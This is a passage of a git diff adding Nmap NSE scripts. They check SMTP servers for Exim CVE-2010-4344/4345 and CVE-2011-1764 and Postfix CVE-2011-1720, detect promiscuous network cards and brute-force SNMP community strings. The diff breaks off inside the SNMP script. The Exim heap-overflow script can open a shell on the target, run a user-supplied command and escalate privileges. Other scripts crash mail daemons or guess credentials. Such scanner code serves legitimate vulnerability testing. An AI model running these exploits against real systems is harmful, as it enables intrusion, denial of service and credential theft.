+ -- use low socket level functions.
+ status, ret = socket:send(hdrs)
+ if not status then
+ return clean(socket, status, "failed to send hdrs.")
+ end
+
+ status, ret = socket:send(hdrx)
+ if not status then
+ return clean(socket, status, "failed to send hdrx.")
+ end
+
+ status, ret = socket:send("\r\n")
+ if not status then
+ return clean(socket, status, "failed to terminate headers.")
+ end
+
+ local body_size = 0
+ filler = string.rep(string.rep("Nmap", 63).."XX\r\n", 1024)
+ while body_size < msg_len do
+ body_size = body_size + #filler
+ status, ret = socket:send(filler)
+ if not status then
+ return clean(socket, status, "failed to send body.")
+ end
+ end
+
+ status, response = smtp.query(socket, "\r\n.")
+ if not status then
+ if string.match(response, "connection closed") then
+ -- the child was killed (heap corruption).
+ return true, "heap"
+ else
+ return status, "failed to terminate the message."
+ end
+ end
+
+ status, ret = smtp.check_reply("DATA", response)
+ if not status then
+ local code = tonumber(ret:match("(%d+)"))
+ if code ~= 552 then
+ smtp.quit(socket)
+ return status, ret
+ end
+ end
+
+ stdnse.debug2("the forged mail was sent successfully.")
+
+ -- second round
+ status, response = smtp.query(socket, "MAIL",
+ string.format("FROM:<%s>", smtp_opts.mailfrom))
+ if not status then
+ return status, response
+ end
+
+ status, ret = smtp.query(socket, "RCPT",
+ string.format("TO:<%s>", smtp_opts.mailto))
+ if not status then
+ return status, ret
+ end
+
+ if response:match("sh:%s") or ret:match("sh:%s") then
+ stdnse.debug2("successfully exploited the Exim heap overflow.")
+ exploited = "heap-exploited"
+ end
+
+ return true, exploited
+end
+
+-- Checks if the Exim server is vulnerable to CVE-2010-4344
+local function check_exim(smtp_opts)
+ local out, smtp_server = {}, {}
+ local exim_heap_ver, exim_priv_ver = 4.69, 4.72
+ local exim_default_size, nmap_scanme_ip = 52428800, '64.13.134.52'
+ local heap_cve, priv_cve = 'CVE-2010-4344', 'CVE-2010-4345'
+ local heap_str = "Exim heap overflow vulnerability ("..heap_cve.."):"
+ local priv_str = "Exim privileges escalation vulnerability ("..priv_cve.."):"
+ local exim_heap_result, exim_priv_result = "", ""
+
+ local socket, ret = smtp.connect(smtp_opts.host,
+ smtp_opts.port,
+ {ssl = true,
+ timeout = 8000,
+ recv_before = true,
+ lines = 1})
+
+ if not socket then
+ return smtp_finish(nil, socket, ret)
+ end
+
+ table.insert(out, heap_str)
+ table.insert(out, priv_str)
+
+ smtp_server.banner, smtp_server.version = get_exim_banner(ret)
+ if smtp_server.banner then
+ smtp_server.smtpd = smtp_server.banner:match("Exim")
+ if smtp_server.smtpd and smtp_server.version then
+ table.insert(out, 1,
+ string.format("Exim version: %.02f", smtp_server.version))
+
+ if smtp_server.version > exim_heap_ver then
+ exim_heap_result = string.format(" Exim (%s): NOT VULNERABLE",
+ heap_cve)
+ else
+ exim_heap_result = string.format(" Exim (%s): LIKELY VULNERABLE",
+ heap_cve)
+ end
+
+ if smtp_server.version > exim_priv_ver then
+ exim_priv_result = string.format(" Exim (%s): NOT VULNERABLE",
+ priv_cve)
+ else
+ exim_priv_result = string.format(" Exim (%s): LIKELY VULNERABLE",
+ priv_cve)
+ end
+
+ else
+ return smtp_finish(socket, true,
+ 'The SMTP server is not Exim: NOT VULNERABLE')
+ end
+ else
+ return smtp_finish(socket, false,
+ 'failed to read the SMTP banner.')
+ end
+
+ if not smtp_opts.exploit then
+ table.insert(out, 3, exim_heap_result)
+ table.insert(out, 5, exim_priv_result)
+ table.insert(out,
+ "To confirm and exploit the vulnerabilities, run with"..
+ " --script-args='smtp-vuln-cve2010-4344.exploit'")
+ return smtp_finish(socket, true, out)
+ end
+
+ -- force the checks and exploit the program
+ local status, response = smtp.ehlo(socket, smtp_opts.domain)
+ if not status then
+ return smtp_finish(nil, status, response)
+ end
+
+ for _, line in pairs(stringaux.strsplit("\r?\n", response)) do
+ if not smtp_opts.ehlo_host or not smtp_opts.domain_ip then
+ smtp_opts.ehlo_host, smtp_opts.domain_ip =
+ line:match("%d.-Hello%s(.*)%s%[([^]]*)%]")
+ end
+ if not smtp_server.size then
+ smtp_server.size = line:match("%d+%-SIZE%s(%d+)")
+ end
+ end
+
+ if not smtp_server.size then
+ smtp_server.size = exim_default_size
+ else
+ smtp_server.size = tonumber(smtp_server.size)
+ end
+ smtp_opts.size = smtp_server.size
+
+ -- use 'nmap.scanme.org' IP address
+ if not smtp_opts.domain_ip then
+ smtp_opts.domain_ip = nmap_scanme_ip
+ end
+
+ -- set the appropriate 'MAIL FROM' and 'RCPT TO' values
+ if not smtp_opts.mailfrom then
+ smtp_opts.mailfrom = string.format("root@%s", smtp_opts.domain)
+ end
+ if not smtp_opts.mailto then
+ smtp_opts.mailto = string.format("postmaster@%s",
+ smtp_opts.host.targetname and
+ smtp_opts.host.targetname or 'localhost')
+ end
+
+ status, ret = exploit_heap(socket, smtp_opts)
+ if not status then
+ return smtp_finish(nil, status, ret)
+ elseif ret then
+ exim_heap_result = string.format(" Exim (%s): VULNERABLE",
+ heap_cve)
+ exim_priv_result = string.format(" Exim (%s): VULNERABLE",
+ priv_cve)
+ if ret:match("exploited") then
+ -- clear socket
+ socket:receive_lines(1)
+ if smtp_opts.shell_cmd then
+ status, response = send_recv(socket,
+ string.format("%s\n", smtp_opts.shell_cmd))
+ if status then
+ exim_heap_result = exim_heap_result ..
+ string.format("\n Shell command '%s': %s",
+ smtp_opts.shell_cmd,
+ string.gsub(response, "^%$*%s*(.-)\n*%$*$", "%1"))
+ end
+ end
+
+ status, response = escalate_privs(socket, smtp_opts)
+ if status then
+ exim_priv_result = exim_priv_result.."\n"..response
+ end
+ socket:close()
+ end
+ else
+ exim_heap_result = string.format(" Exim (%s): NOT VULNERABLE",
+ heap_cve)
+ end
+
+ table.insert(out, 3, exim_heap_result)
+ table.insert(out, 5, exim_priv_result)
+ return true, out
+end
+
+action = function(host, port)
+ local smtp_opts = {
+ host = host,
+ port = port,
+ domain = stdnse.get_script_args('smtp.domain') or
+ 'nmap.scanme.org',
+ mailfrom = stdnse.get_script_args('smtp-vuln-cve2010-4344.mailfrom'),
+ mailto = stdnse.get_script_args('smtp-vuln-cve2010-4344.mailto'),
+ exploit = stdnse.get_script_args('smtp-vuln-cve2010-4344.exploit'),
+ shell_cmd = stdnse.get_script_args('exploit.cmd') or
+ stdnse.get_script_args('smtp-vuln-cve2010-4344.cmd'),
+ }
+ if smtp_opts.shell_cmd then
+ smtp_opts.exploit = true
+ end
+ local status, output = check_exim(smtp_opts)
+ if not status then
+ stdnse.debug1("%s", output)
+ return nil
+ end
+ return stdnse.format_output(status, output)
+end
diff --git a/scripts/smtp-vuln-cve2011-1720.nse b/scripts/smtp-vuln-cve2011-1720.nse
new file mode 100644
index 0000000..3140249
--- /dev/null
+++ b/scripts/smtp-vuln-cve2011-1720.nse
@@ -0,0 +1,285 @@
+local shortport = require "shortport"
+local smtp = require "smtp"
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+local table = require "table"
+local vulns = require "vulns"
+
+description = [[
+Checks for a memory corruption in the Postfix SMTP server when it uses
+Cyrus SASL library authentication mechanisms (CVE-2011-1720). This
+vulnerability can allow denial of service and possibly remote code
+execution.
+
+Reference:
+* http://www.postfix.org/CVE-2011-1720.html
+]]
+
+---
+-- @usage
+-- nmap --script=smtp-vuln-cve2011-1720 --script-args='smtp.domain=<domain>' -pT:25,465,587 <host>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 25/tcp open smtp
+-- | smtp-vuln-cve2011-1720:
+-- | VULNERABLE:
+-- | Postfix SMTP server Cyrus SASL Memory Corruption
+-- | State: VULNERABLE
+-- | IDs: CVE:CVE-2011-1720 BID:47778
+-- | Description:
+-- | The Postfix SMTP server is vulnerable to a memory corruption vulnerability
+-- | when the Cyrus SASL library is used with authentication mechanisms other
+-- | than PLAIN and LOGIN.
+-- | Disclosure date: 2011-05-08
+-- | Check results:
+-- | AUTH tests: CRAM-MD5 NTLM
+-- | Extra information:
+-- | Available AUTH MECHANISMS: CRAM-MD5 DIGEST-MD5 NTLM PLAIN LOGIN
+-- | References:
+-- | http://www.postfix.org/CVE-2011-1720.html
+-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1720
+-- |_ https://www.securityfocus.com/bid/47778
+
+author = "Djalal Harouni"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "vuln"}
+
+
+portrule = shortport.port_or_service({25, 465, 587},
+ {"smtp", "smtps", "submission"})
+
+local AUTH_VULN = {
+ -- AUTH MECHANISM
+ -- killby: a table of mechanisms that can corrupt and
+ -- overwrite the AUTH MECHANISM data structure.
+ -- probe: max number of probes for each test
+ ["CRAM-MD5"] = {
+ killby = {["DIGEST-MD5"] = {probe = 1}}
+ },
+ ["DIGEST-MD5"] = {
+ killby = {}
+ },
+ ["EXTERNAL"] = {
+ killby = {}
+ },
+ ["GSSAPI"] = {
+ killby = {}
+ },
+ ["KERBEROS_V4"] = {
+ killby = {}
+ },
+ ["NTLM"] = {
+ killby = {["DIGEST-MD5"] = {probe = 2}}
+ },
+ ["OTP"] = {
+ killby = {}
+ },
+ ["PASSDSS-3DES-1"] = {
+ killby = {}
+ },
+ ["SRP"] = {
+ killby = {}
+ },
+}
+
+-- parse and check the authentication mechanisms.
+-- This function will save the vulnerable auth mechanisms in
+-- the auth_mlist table, and returns all the available auth
+-- mechanisms as a string.
+local function chk_auth_mechanisms(ehlo_res, auth_mlist)
+ local mlist = smtp.get_auth_mech(ehlo_res)
+
+ if mlist then
+ for _, mech in ipairs(mlist) do
+ if AUTH_VULN[mech] then
+ auth_mlist[mech] = mech
+ end
+ end
+ return table.concat(mlist, " ")
+ end
+ return ""
+end
+
+-- Close any remaining connection
+local function smtp_finish(socket, status, err)
+ if socket then
+ smtp.quit(socket)
+ end
+ return status, err
+end
+
+-- Tries to kill the smtpd server
+-- Returns true, true if the smtpd was killed
+local function kill_smtpd(socket, mech, mkill)
+ local killed, ret = false
+ local status, response = smtp.query(socket, "AUTH",
+ string.format("%s", mech))
+ if not status then
+ return status, response
+ end
+
+ status, ret = smtp.check_reply("AUTH", response)
+ if not status then
+ return smtp_finish(socket, status, ret)
+ end
+
+ -- abort authentication
+ smtp.query(socket, "*")
+
+ status, response = smtp.query(socket, "AUTH",
+ string.format("%s", mkill))
+ if status then
+ -- abort the last AUTH command.
+ status, response = smtp.query(socket, "*")
+ end
+
+ if not status then
+ if string.match(response, "connection closed") then
+ killed = true
+ else
+ return status, response
+ end
+ end
+
+ return true, killed
+end
+
+-- Checks if the SMTP server is vulnerable to CVE-2011-1720
+-- Postfix Cyrus SASL authentication memory corruption
+-- http://www.postfix.org/CVE-2011-1720.html
+local function check_smtpd(smtp_opts)
+ local socket, ret = smtp.connect(smtp_opts.host,
+ smtp_opts.port,
+ {ssl = false,
+ recv_before = true,
+ lines = 1})
+
+ if not socket then
+ return socket, ret
+ end
+
+ local status, response = smtp.ehlo(socket, smtp_opts.domain)
+ if not status then
+ return status, response
+ end
+
+ local starttls = false
+ local auth_mech_list, auth_mech_str = {}, ""
+
+ -- parse server response
+ for _, line in pairs(stringaux.strsplit("\r?\n", response)) do
+ if not next(auth_mech_list) then
+ auth_mech_str = chk_auth_mechanisms(line, auth_mech_list)
+ end
+
+ if not starttls then
+ starttls = line:match("STARTTLS")
+ end
+ end
+
+ -- fallback to STARTTLS to get the auth mechanisms
+ if not next(auth_mech_list) and smtp_opts.port.number ~= 25 and
+ starttls then
+
+ status, response = smtp.starttls(socket)
+ if not status then
+ return status, response
+ end
+
+ status, response = smtp.ehlo(socket, smtp_opts.domain)
+ if not status then
+ return status, response
+ end
+
+ for _, line in pairs(stringaux.strsplit("\r?\n", response)) do
+ if not next(auth_mech_list) then
+ auth_mech_str = chk_auth_mechanisms(line, auth_mech_list)
+ end
+ end
+ end
+
+ local vuln = smtp_opts.vuln
+ vuln.check_results = {}
+ if (#auth_mech_str > 0) then
+ vuln.extra_info = {}
+ table.insert(vuln.extra_info,
+ string.format("Available AUTH MECHANISMS: %s", auth_mech_str))
+
+ -- maybe vulnerable
+ if next(auth_mech_list) then
+ local auth_tests = {}
+
+ for mech in pairs(auth_mech_list) do
+ for mkill in pairs(AUTH_VULN[mech].killby) do
+
+ if auth_mech_list[mkill] then
+ auth_tests[#auth_tests+1] = mech
+
+ local probe = AUTH_VULN[mech].killby[mkill].probe
+
+ for p = 1, probe do
+ status, ret = kill_smtpd(socket, mech, mkill)
+ if not status then
+ return smtp_finish(nil, status, ret)
+ end
+
+ if ret then
+ vuln.state = vulns.STATE.VULN
+ table.insert(vuln.check_results,
+ string.format("AUTH tests: %s", table.concat(auth_tests, " ")))
+ table.insert(vuln.check_results,
+ string.format("VULNERABLE (%s => %s)", mech, mkill))
+ return smtp_finish(nil, true)
+ end
+
+ end
+
+ end
+
+ end
+ end
+
+ table.insert(vuln.check_results, string.format("AUTH tests: %s",
+ table.concat(auth_tests, " ")))
+ end
+ else
+ stdnse.debug2("Authentication is not available")
+ table.insert(vuln.check_results, "Authentication is not available")
+ end
+
+ vuln.state = vulns.STATE.NOT_VULN
+ return smtp_finish(socket, true)
+end
+
+action = function(host, port)
+ local smtp_opts = {
+ host = host,
+ port = port,
+ domain = stdnse.get_script_args('smtp-vuln-cve2011-1720.domain') or
+ smtp.get_domain(host),
+ vuln = {
+ title = 'Postfix SMTP server Cyrus SASL Memory Corruption',
+ IDS = {CVE = 'CVE-2011-1720', BID = '47778'},
+ description = [[
+The Postfix SMTP server is vulnerable to a memory corruption vulnerability
+when the Cyrus SASL library is used with authentication mechanisms other
+than PLAIN and LOGIN.]],
+ references = {
+ 'http://www.postfix.org/CVE-2011-1720.html',
+ },
+ dates = {
+ disclosure = {year = '2011', month = '05', day = '08'},
+ },
+ },
+ }
+
+ local report = vulns.Report:new(SCRIPT_NAME, host, port)
+ local status, err = check_smtpd(smtp_opts)
+ if not status then
+ stdnse.debug1("%s", err)
+ return nil
+ end
+ return report:make_output(smtp_opts.vuln)
+end
diff --git a/scripts/smtp-vuln-cve2011-1764.nse b/scripts/smtp-vuln-cve2011-1764.nse
new file mode 100644
index 0000000..d64fcd2
--- /dev/null
+++ b/scripts/smtp-vuln-cve2011-1764.nse
@@ -0,0 +1,235 @@
+local shortport = require "shortport"
+local smtp = require "smtp"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local vulns = require "vulns"
+
+description = [[
+Checks for a format string vulnerability in the Exim SMTP server
+(version 4.70 through 4.75) with DomainKeys Identified Mail (DKIM) support
+(CVE-2011-1764). The DKIM logging mechanism did not use format string
+specifiers when logging some parts of the DKIM-Signature header field.
+A remote attacker who is able to send emails, can exploit this vulnerability
+and execute arbitrary code with the privileges of the Exim daemon.
+
+Reference:
+* http://bugs.exim.org/show_bug.cgi?id=1106
+* http://thread.gmane.org/gmane.mail.exim.devel/4946
+* https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2011-1764
+* http://en.wikipedia.org/wiki/DomainKeys_Identified_Mail
+]]
+
+---
+-- @usage
+-- nmap --script=smtp-vuln-cve2011-1764 -pT:25,465,587 <host>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 25/tcp open smtp
+-- | smtp-vuln-cve2011-1764:
+-- | VULNERABLE:
+-- | Exim DKIM format string
+-- | State: VULNERABLE
+-- | IDs: CVE:CVE-2011-1764 BID:47736
+-- | Risk factor: High CVSSv2: 7.5 (HIGH) (AV:N/AC:L/Au:N/C:P/I:P/A:P)
+-- | Description:
+-- | Exim SMTP server (version 4.70 through 4.75) with DomainKeys Identified
+-- | Mail (DKIM) support is vulnerable to a format string. A remote attacker
+-- | who is able to send emails, can exploit this vulnerability and execute
+-- | arbitrary code with the privileges of the Exim daemon.
+-- | Disclosure date: 2011-04-29
+-- | References:
+-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1764
+-- | https://www.securityfocus.com/bid/47736
+-- |_ http://bugs.exim.org/show_bug.cgi?id=1106
+--
+-- @args smtp-vuln-cve2011-1764.mailfrom Define the source email address to
+-- be used.
+-- @args smtp-vuln-cve2011-1764.mailto Define the destination email address
+-- to be used.
+
+author = "Djalal Harouni"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "vuln"}
+
+
+portrule = function (host, port)
+ if port.version.product ~= nil and port.version.product ~= "Exim smtpd" then
+ return false
+ end
+ return shortport.port_or_service({25, 465, 587},
+ {"smtp", "smtps", "submission"})(host, port)
+end
+
+local function smtp_finish(socket, status, msg)
+ if socket then
+ socket:close()
+ end
+ return status, msg
+end
+
+local function get_exim_banner(response)
+ local banner, version
+ banner = response:match("%d+%s(.+)")
+ if banner and banner:match("Exim") then
+ version = tonumber(banner:match("Exim%s([0-9%.]+)"))
+ end
+ return banner, version
+end
+
+-- Sends the mail with the evil DKIM-Signatures header.
+-- Returns true, true if the Exim server is vulnerable
+local function check_dkim(socket, smtp_opts)
+ local killed = false
+
+ stdnse.debug2("checking the Exim DKIM Format String")
+
+ local status, response = smtp.mail(socket, smtp_opts.mailfrom)
+ if not status then
+ return status, response
+ end
+
+ status, response = smtp.recipient(socket, smtp_opts.mailto)
+ if not status then
+ return status, response
+ end
+
+ status, response = smtp.datasend(socket)
+ if not status then
+ return status, response
+ end
+
+ local message = (
+ string.format( "MIME-Version: 1.0\r\nFrom: <%s>\r\nTo: <%s>\r\n",
+ smtp_opts.mailfrom, smtp_opts.mailto)
+ .."Subject: Nmap Exim DKIM Format String check\r\n"
+ -- use a fake DKIM-Signature header.
+ .."DKIM-Signature: v=1; a=%s%s%s%s;"
+ .." c=%s%s%s%s; q=dns/txt;\r\n"
+ .." d=%s%s%s%s; s=%s%s%s%s;\r\n"
+ .." h=mime-version:from:to:subject;\r\n"
+ .." bh=MTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTI=;\r\n"
+ .." b=DyE0uKynaea3Y66zkrnMaBqtYPYVXhazCKGBiZKMNywclgbj0MkREPH3t2EWByev9g=\r\n"
+ )
+ status, response = socket:send(message)
+ if not status then
+ return status, "failed to send the message."
+ end
+
+ status, response = smtp.query(socket, ".")
+ if not status then
+ if string.match(response, "connection closed") then
+ stdnse.debug2("Exim server is vulnerable to DKIM Format String")
+ killed = true
+ else
+ return status, "failed to terminate the message, seems NOT VULNERABLE"
+ end
+ end
+
+ return true, killed
+end
+
+-- Checks if the Exim server is vulnerable to CVE-2011-1764
+local function check_exim(smtp_opts)
+ local smtp_server = {}
+ local exim_ver_min, exim_ver_max = 4.70, 4.75
+
+ local socket, ret = smtp.connect(smtp_opts.host,
+ smtp_opts.port,
+ {ssl = true,
+ timeout = 10000,
+ recv_before = true,
+ lines = 1})
+
+ if not socket then
+ return smtp_finish(nil, socket, ret)
+ end
+
+ smtp_server.banner, smtp_server.version = get_exim_banner(ret)
+ if not smtp_server.banner then
+ return smtp_finish(socket, false,
+ 'failed to read the SMTP banner.')
+ elseif not smtp_server.banner:match("Exim") then
+ return smtp_finish(socket, false,
+ 'not a Exim server: NOT VULNERABLE')
+ end
+
+ local vuln = smtp_opts.vuln
+ vuln.extra_info = {}
+ if smtp_server.version then
+ if smtp_server.version <= exim_ver_max and
+ smtp_server.version >= exim_ver_min then
+ vuln.state = vulns.STATE.LIKELY_VULN
+ table.insert(vuln.extra_info,
+ string.format("Exim version: %.02f", smtp_server.version))
+ else
+ vuln.state = vulns.STATE.NOT_VULN
+ return smtp_finish(socket, true)
+ end
+ end
+
+ local status, response = smtp.ehlo(socket, smtp_opts.domain)
+ if not status then
+ return smtp_finish(socket, status, response)
+ end
+
+ -- set the appropriate 'MAIL FROM' and 'RCPT TO' values
+ if not smtp_opts.mailfrom then
+ smtp_opts.mailfrom = string.format("root@%s", smtp_opts.domain)
+ end
+ if not smtp_opts.mailto then
+ smtp_opts.mailto = string.format("postmaster@%s",
+ smtp_opts.host.targetname and
+ smtp_opts.host.targetname or 'localhost')
+ end
+
+ status, ret = check_dkim(socket, smtp_opts)
+ if not status then
+ return smtp_finish(socket, status, ret)
+ elseif ret then
+ vuln.state = vulns.STATE.VULN
+ elseif not vuln.state then
+ vuln.state = vulns.STATE.NOT_VULN
+ end
+
+ return smtp_finish(socket, true)
+end
+
+action = function(host, port)
+ local smtp_opts = {
+ host = host,
+ port = port,
+ domain = stdnse.get_script_args('smtp.domain') or
+ 'nmap.scanme.org',
+ mailfrom = stdnse.get_script_args('smtp-vuln-cve2011-1764.mailfrom'),
+ mailto = stdnse.get_script_args('smtp-vuln-cve2011-1764.mailto'),
+ vuln = {
+ title = 'Exim DKIM format string',
+ IDS = {CVE = 'CVE-2011-1764', BID = '47736'},
+ risk_factor = "High",
+ scores = {
+ CVSSv2 = "7.5 (HIGH) (AV:N/AC:L/Au:N/C:P/I:P/A:P)",
+ },
+ description = [[
+Exim SMTP server (version 4.70 through 4.75) with DomainKeys Identified
+Mail (DKIM) support is vulnerable to a format string. A remote attacker
+who is able to send emails, can exploit this vulnerability and execute
+arbitrary code with the privileges of the Exim daemon.]],
+ references = {
+ 'http://bugs.exim.org/show_bug.cgi?id=1106',
+ },
+ dates = {
+ disclosure = {year = '2011', month = '04', day = '29'},
+ },
+ },
+ }
+
+ local report = vulns.Report:new(SCRIPT_NAME, host, port)
+ local status, err = check_exim(smtp_opts)
+ if not status then
+ stdnse.debug1("%s", err)
+ return nil
+ end
+ return report:make_output(smtp_opts.vuln)
+end
diff --git a/scripts/sniffer-detect.nse b/scripts/sniffer-detect.nse
new file mode 100644
index 0000000..0621f74
--- /dev/null
+++ b/scripts/sniffer-detect.nse
@@ -0,0 +1,144 @@
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Checks if a target on a local Ethernet has its network card in promiscuous mode.
+
+The techniques used are described at
+http://www.securityfriday.com/promiscuous_detection_01.pdf.
+]]
+
+---
+-- @output
+-- Host script results:
+-- |_ sniffer-detect: Likely in promiscuous mode (tests: "11111111")
+
+
+author = "Marek Majkowski"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"discovery", "intrusive"}
+
+-- okay, we're interested only in hosts that are on our ethernet lan
+hostrule = function(host)
+ if nmap.address_family() ~= 'inet' then
+ stdnse.debug1("is IPv4 compatible only.")
+ return false
+ end
+ if host.directly_connected == true and
+ host.mac_addr ~= nil and
+ host.mac_addr_src ~= nil and
+ host.interface ~= nil then
+ local iface = nmap.get_interface_info(host.interface)
+ if iface and iface.link == 'ethernet' then
+ return true
+ end
+ end
+ return false
+end
+
+local function check (layer2)
+ return string.sub(layer2, 0, 12)
+end
+
+
+do_test = function(dnet, pcap, host, test)
+ local status, length, layer2, layer3
+ local i = 0
+
+ -- ARP requests are send with timeouts: 10ms, 40ms, 90ms
+ -- before each try, we wait at least 100ms
+ -- in summary, this test takes at least 100ms and at most 440ms
+ for i=1,3 do
+ -- flush buffers :), wait quite long.
+ repeat
+ pcap:set_timeout(100)
+ local test = host.mac_addr_src .. host.mac_addr
+ status, length, layer2, layer3 = pcap:pcap_receive()
+ while status and test ~= check(layer2) do
+ status, length, layer2, layer3 = pcap:pcap_receive()
+ end
+ until status ~= true
+ pcap:set_timeout(10 * i*i)
+
+ dnet:ethernet_send(test)
+
+ local test = host.mac_addr_src .. host.mac_addr
+ status, length, layer2, layer3 = pcap:pcap_receive()
+ while status and test ~= check(layer2) do
+ status, length, layer2, layer3 = pcap:pcap_receive()
+ end
+ if status == true then
+ -- the basic idea, was to inform user about time, when we got packet
+ -- so that 1 would mean (0-10ms), 2=(10-40ms) and 3=(40ms-90ms)
+ -- but when we're running this tests on macs, first test is always 2.
+ -- which means that the first answer is dropped.
+ -- for now, just return 1 if test was successful, it's easier
+ -- return(i)
+ return(1)
+ end
+ end
+ return('_')
+end
+
+action = function(host)
+ local dnet = nmap.new_dnet()
+ local pcap = nmap.new_socket()
+ local _
+ local status
+ local results = {
+ ['1_____1_'] = false, -- MacOSX(Tiger.Panther)/Linux/ ?Win98/ WinXP sp2(no pcap)
+ ['1_______'] = false, -- Old Apple/SunOS/3Com
+ ['1___1_1_'] = false, -- MacOSX(Tiger)
+ ['11111111'] = true, -- BSD/Linux/OSX/ (or not promiscuous openwrt )
+ ['1_1___1_'] = false, -- WinXP sp2 + pcap|| win98 sniff || win2k sniff (see below)
+ ['111___1_'] = true, -- WinXP sp2 promisc
+ --['1111__1_'] = true, -- ?Win98 promisc + ??win98 no promisc *not confirmed*
+ }
+ dnet:ethernet_open(host.interface)
+
+ pcap:pcap_open(host.interface, 64, false, "arp")
+
+ local test_static = host.mac_addr_src ..
+ "\x08\x06\x00\x01\x08\x00\x06\x04\x00\x01" ..
+ host.mac_addr_src ..
+ host.bin_ip_src ..
+ "\x00\x00\x00\x00\x00\x00" ..
+ host.bin_ip
+ local t = {
+ "\xff\xff\xff\xff\xff\xff", -- B32 no meaning?
+ "\xff\xff\xff\xff\xff\xfe", -- B31
+ "\xff\xff\x00\x00\x00\x00", -- B16
+ "\xff\x00\x00\x00\x00\x00", -- B8
+ "\x01\x00\x00\x00\x00\x00", -- G
+ "\x01\x00\x5e\x00\x00\x00", -- M0
+ "\x01\x00\x5e\x00\x00\x01", -- M1 no meaning?
+ "\x01\x00\x5e\x00\x00\x03", -- M3
+ }
+ local v
+ local out = {}
+ for _, v in ipairs(t) do
+ out[#out+1] = do_test(dnet, pcap, host, v .. test_static)
+ end
+ out = table.concat(out)
+
+ dnet:ethernet_close()
+ pcap:pcap_close()
+
+ if out == '1_1___1_' then
+ return 'Windows with libpcap installed; may or may not be sniffing (tests: "' .. out .. '")'
+ end
+ if results[out] == false then
+ -- probably not sniffing
+ return
+ end
+ if results[out] == true then
+ -- rather sniffer.
+ return 'Likely in promiscuous mode (tests: "' .. out .. '")'
+ end
+
+ -- results[out] == nil
+ return 'Unknown (tests: "' .. out .. '")'
+end
diff --git a/scripts/snmp-brute.nse b/scripts/snmp-brute.nse
new file mode 100644
index 0000000..a284dbc
--- /dev/null
+++ b/scripts/snmp-brute.nse
@@ -0,0 +1,278 @@
+local coroutine = require "coroutine"
+local creds = require "creds"
+local io = require "io"
+local nmap = require "nmap"
+local packet = require "packet"
+local shortport = require "shortport"
+local snmp = require "snmp"
+local stdnse = require "stdnse"
+local unpwdb = require "unpwdb"
+
+description = [[
+Attempts to find an SNMP community string by brute force guessing.
+
+This script opens a sending socket and a sniffing pcap socket in parallel
+threads. The sending socket sends the SNMP probes with the community strings,
+while the pcap socket sniffs the network for an answer to the probes. If
+valid community strings are found, they are added to the creds database and
+reported in the output.
+
+The script takes the <code>snmp-brute.communitiesdb</code> argument that
+allows the user to define the file that contains the community strings to
+be used. If not defined, the default wordlist used to bruteforce the SNMP
+community strings is <code>nselib/data/snmpcommunities.lst</code>. In case
+this wordlist does not exist, the script falls back to
+<code>nselib/data/passwords.lst</code>
+
+No output is reported if no valid account is found.
+]]
+-- 2008-07-03 Philip Pickering, basic version
+-- 2011-07-17 Gorjan Petrovski, Patrik Karlsson, optimization and creds
+-- accounts, rejected use of the brute library because of
+-- implementation using unconnected sockets.
+-- 2011-12-29 Patrik Karlsson - Added lport to sniff_snmp_responses to fix
+-- bug preventing multiple scripts from working
+-- properly.
+-- 2015-05-31 Gioacchino Mazzurco - Add IPv6 support by making the script IP
+-- version agnostic
+
+---
+-- @usage
+-- nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
+--
+-- @args snmp-brute.communitiesdb The filename of a list of community strings to try.
+--
+-- @output
+-- PORT STATE SERVICE
+-- 161/udp open snmp
+-- | snmp-brute:
+-- | dragon - Valid credentials
+-- |_ jordan - Valid credentials
+
+author = {"Philip Pickering", "Gorjan Petrovski", "Patrik Karlsson", "Gioacchino Mazzurco"}
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"intrusive", "brute"}
+
+
+portrule = shortport.port_or_service(161, "snmp", "udp", {"open", "open|filtered"})
+
+local communitiestable = {}
+
+local filltable = function(filename, table)
+ if #table ~= 0 then
+ return true
+ end
+
+ local file = io.open(filename, "r")
+
+ if not file then
+ return false
+ end
+
+ for l in file:lines() do
+ -- Comments takes up a whole line
+ if not l:match("#!comment:") then
+ table[#table + 1] = l
+ end
+ end
+
+ file:close()
+
+ return true
+end
+
+local closure = function(table)
+ local i = 1
+
+ return function(cmd)
+ if cmd == "reset" then
+ i = 1
+ return
+ end
+ local elem = table[i]
+ if elem then i = i + 1 end
+ return elem
+ end
+end
+
+local communities_raw = function(path)
+ if not path then
+ return false, "Cannot find communities list"
+ end
+
+ if not filltable(path, communitiestable) then
+ return false, "Error parsing communities list"
+ end
+
+ return true, closure(communitiestable)
+end
+
+local communities = function()
+ local communities_file = stdnse.get_script_args('snmp-brute.communitiesdb') or
+ nmap.fetchfile("nselib/data/snmpcommunities.lst")
+
+ if communities_file then
+ stdnse.debug1("Using the %s as the communities file", communities_file)
+
+ local status, iterator = communities_raw(communities_file)
+
+ if not status then
+ return false, iterator
+ end
+
+ local time_limit = unpwdb.timelimit()
+ local count_limit = 0
+
+ if stdnse.get_script_args("unpwdb.passlimit") then
+ count_limit = tonumber(stdnse.get_script_args("unpwdb.passlimit"))
+ end
+
+ return true, unpwdb.limited_iterator(iterator, time_limit, count_limit, "communities")
+ else
+ stdnse.debug1("Cannot read the communities file, using the nmap username/password database instead")
+
+ return unpwdb.passwords()
+ end
+end
+
+local send_snmp_queries = function(socket, result, nextcommunity)
+ local condvar = nmap.condvar(result)
+
+ local request = snmp.buildGetRequest({}, "1.3.6.1.2.1.1.3.0")
+
+ local payload, status, response, err
+ local community = nextcommunity()
+
+ while community do
+ if result.status == false then
+ --in case the sniff_snmp_responses thread was shut down
+ condvar("signal")
+ return
+ end
